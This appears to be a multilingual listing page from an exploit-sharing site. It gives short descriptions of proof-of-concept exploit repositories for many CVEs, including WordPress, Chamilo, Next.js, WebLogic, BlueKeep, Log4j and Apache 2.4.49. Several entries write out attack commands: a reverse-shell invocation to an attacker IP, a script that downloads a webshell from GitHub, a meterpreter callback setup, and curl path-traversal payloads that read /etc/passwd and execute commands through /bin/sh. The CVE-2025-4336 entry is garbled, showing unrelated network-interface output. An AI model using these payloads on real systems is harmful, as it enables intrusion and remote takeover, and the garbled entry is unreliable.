wp2shell-poc

wp2shell-poc Prueba de concepto independiente para la inyección SQL por confusión de rutas en el lote REST de WordPress sin autenticación, asociada al aviso wp2shell de Searchlight Cyber. Este repositorio no es el verificador oficial de Searchlight Cyber. check confirma la ruta del SQLi, read...

CVE-2023-4220

CVE-2023-4220 利用 Chamilo LMS 未经身份验证的大文件上传远程代码执行 用法 cve-2023-4220.sh ./cve-2023-4220.sh ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 root@kitploit: ./cve-2023-4220.sh -h Usage for RevShell: ./cve-2023-4220.sh Example: ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 Payload: 1 ==...

CVE-2025-55182-PoC

⚡ React2Shell エクスプロイト PoC CVE-2025-66478 Next.js サーバーコンポーネントにおけるプロトタイプ汚染を介したリモートコード実行 RCE 🕵️‍♂️ 概要 このリポジトリには、特定のバージョンの React Server Components RSC を使用する Next.js アプリケーションに影響する深刻な脆弱性 CVE-2025-66478 一部の文脈では CVE-2025-55182 としても参照 の概念実証 PoC が含まれています。 RSCのシリアル化プロセスを操作することで、認証されていない攻撃者がプロトタイプ汚染 proto:then...

CVE-2025-4336

eMagicOne Store Manager for WooCommerce 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2:...

CVE-2024-21182

CVE-2024-21182 — Inyección JNDI T3/IIOP en Oracle WebLogic Server → RCE laboratorio Un laboratorio Docker autónomo y de un solo comando para reproducir y validar la familia de vulnerabilidades de inyección JNDI OpaqueReference de Oracle WebLogic Server CVE-2024-21182, un bypass de parche de...

CVE-2026-42588

CVE-2026-42588 - Apache ActiveMQ Jolokia リモートコード実行脆弱性エクスプロイト 深刻度 : 🔴 高 CVSS 4.0: 8.1 脆弱性タイプ : CWE-94 — コードインジェクション 影響を受けるバージョン : Apache ActiveMQ 必要条件 : Web コンソールの認証情報が必要（デフォルト admin:admin） 📋 目次 脆弱性概要 脆弱性の原理 影響を受けるバージョン 利用条件 ファイルの説明 クイックスタート 詳細な使用方法 攻撃チェーン全体図 エクスプロイト成功の確認 修正方法 一時的な緩和策 FAQ 免責事項 参考リ...

CVE-2019-15120

CVE-2019-15120 Joomla!用Kunena拡張機能5.1.14未満におけるBBCodeを介したXSSのエクスプロイト 情報 説明: Joomla!用Kunena拡張機能5.1.14未満では、任意のユーザーがBBcode対応の任意のフィールドに特別なメッセージを送信することで、保存型XSS攻撃を実行することが可能です。その結果、この脆弱性は容易にRCEにつながる可能性があります。 影響を受けるバージョン: Joomla!用Kunena拡張機能 バージョン5.xから5.1.14 研究者: Andrey Skuratov https://github.com/h3llraise...

CVE-2024-32002

GIT RCE CVE-2024-32002 説明 | CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/ | エクスプロイト | まず、git上に "calledrepo" と "commandrepo" のリポジトリを作成する必要があります。 | 被害者は後で "git clone --recursive calledrepo.git" でcalledrepoを呼び出し、commandrepoにリダイレクトされてフックスクリプトを実行します。 |...

Commvault-CVE-2025-34028

CVE-2025-34028 Ejecución remota de código en Commvault CVE-2025-34028 NSE Cómo ejecutar en Nmap: root@kitploit: nmap -p443 --script CVE-2025-34028 --script-args='https-ports=443'...

CVE-2022-29806

CVE-2022-29806 ZoneMinder 1.36.12 までの言語特権昇格（および RCE） 説明 ZoneMinder 1.36.13 より前および 1.37.11 より前のバージョンにおける、デバッグログファイルの Path Traversal とデフォルト言語オプションの脆弱性により、攻撃者は任意のコードを書き込み・実行してリモートコマンド実行を達成できます。 「この概念実証は ZoneMinder 1.36.4 ubuntu18.04 docker: ZoneMinder/zmdockerfiles に対してテストされましたが、最新バージョン 1.36.12...

Peyara

エクスプロイトタイトル: Peyara Remote Mouse v1.0.1 - リモートコード実行（RCE） 日付: 2025-05-30 エクスプロイト作者: tmrswrr ソフトウェアリンク:https://peyara-remote-mouse.vercel.app/ プラットフォーム: Windows バージョン: v1.0.1...

SpringFramework_CVE-2022-22965_RCE

SpringFrameworkCVE-2022-22965RCE SpringFramework リモートコード実行脆弱性 CVE-2022-22965 脆弱性再現環境 root@kitploit: docker pull vulfocus/spring-core-rce-2022-03-29 docker run -d -p 8090:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29 WebShellの書き込み 注意：検証テストではShellは一度だけ書き込めます。 利用スクリプト root@kitploit:...

cve-2019-0708_bluekeep_rce

运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000 2. cd rdesktop-1.5.0 && make 3. 修改config，配置回连ip和端口 192.168.116.133 6000 4. 执行 ./heapspray 192.168.116.134 134是xp的地址，内存大于等于2G 5. msfconsole meterpreter 会得到session ps: shellcode/shellcode.asm...

CVE-2021-44228-Apache-Log4j-Rce

使用方法: 1. RMIServerを実行する 2. Mainを実行する...

CVE-2022-30525

CVE-2022-30525 ZyxelのCGIプログラムにおけるOSコマンドインジェクションの脆弱性 エグゼクティブサマリー 2022年4月13日に初めて発見されたこの脆弱性は、Zyxelファイアウォール製品でリモートコード実行を引き起こしました。CVSSスコア9.8のこの重大な脆弱性は、出現から15日後にZyxelがリリースしたアップデートによってブロックされました。この過程で少なくとも20,800台のモデルが影響を受け、その大部分はヨーロッパにありました。...

CVE-2022-21668-Pipenv-RCE-vulnerability

CVE-2022-21668-Pipenv-RCE-vulnerability 1. はじめに この文書では、Pipenvの脆弱性CVE-2022-21668について詳しく説明します。以下のセクションでは、pipenv/utils.pyファイル内のバグコードについて説明し、これにより様々なRCE攻撃の扉が開かれます。また、SSL/TLS接続を検証し、信頼されたホストのリストに対してホスト名をチェックする最近の修正についても説明します。 1.1. リスト項目 Pipenv...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 RCE および外部リソースのロード脆弱性、発見者 @Icare1337 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 エクスプロイト カレントディレクトリにウェブシェルをドロップするためのサンプルです。 root@kitploit: python3 CVE-2023-2255.py --cmd 'wget https://raw.githubusercontent.com/elweth-sec/CVE-2023-2255/main/webshell.php' --output...

CVE-2021-23369

CVE-2021-23369 Handlebars CVE-2021-23369 の脆弱性 pip install requests URL を入力してください : 脆弱性の説明 handlebars パッケージの 4.7.7 より前のバージョンは、信頼できないソースからのテンプレートをコンパイルするために特定のコンパイルオプションを選択した場合、リモートコード実行 RCE に対して脆弱です。...

CVE-2025-53770-Scanner

Escáner CVE-2025-53770 por DanSec Una herramienta de reconocimiento simple y eficaz para identificar una posible exposición a la crítica vulnerabilidad de SharePoint CVE-2025-53770. !Warning Esta herramienta está destinada únicamente a fines de prueba autorizados. El autor DanSec no asume ninguna...

cve-2021-41773

cve-2021-41773 CVE-2021-41773 Apache 2.4.49 における Path Traversal の脆弱性 RCE POC PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh フォローする Vulnmachines...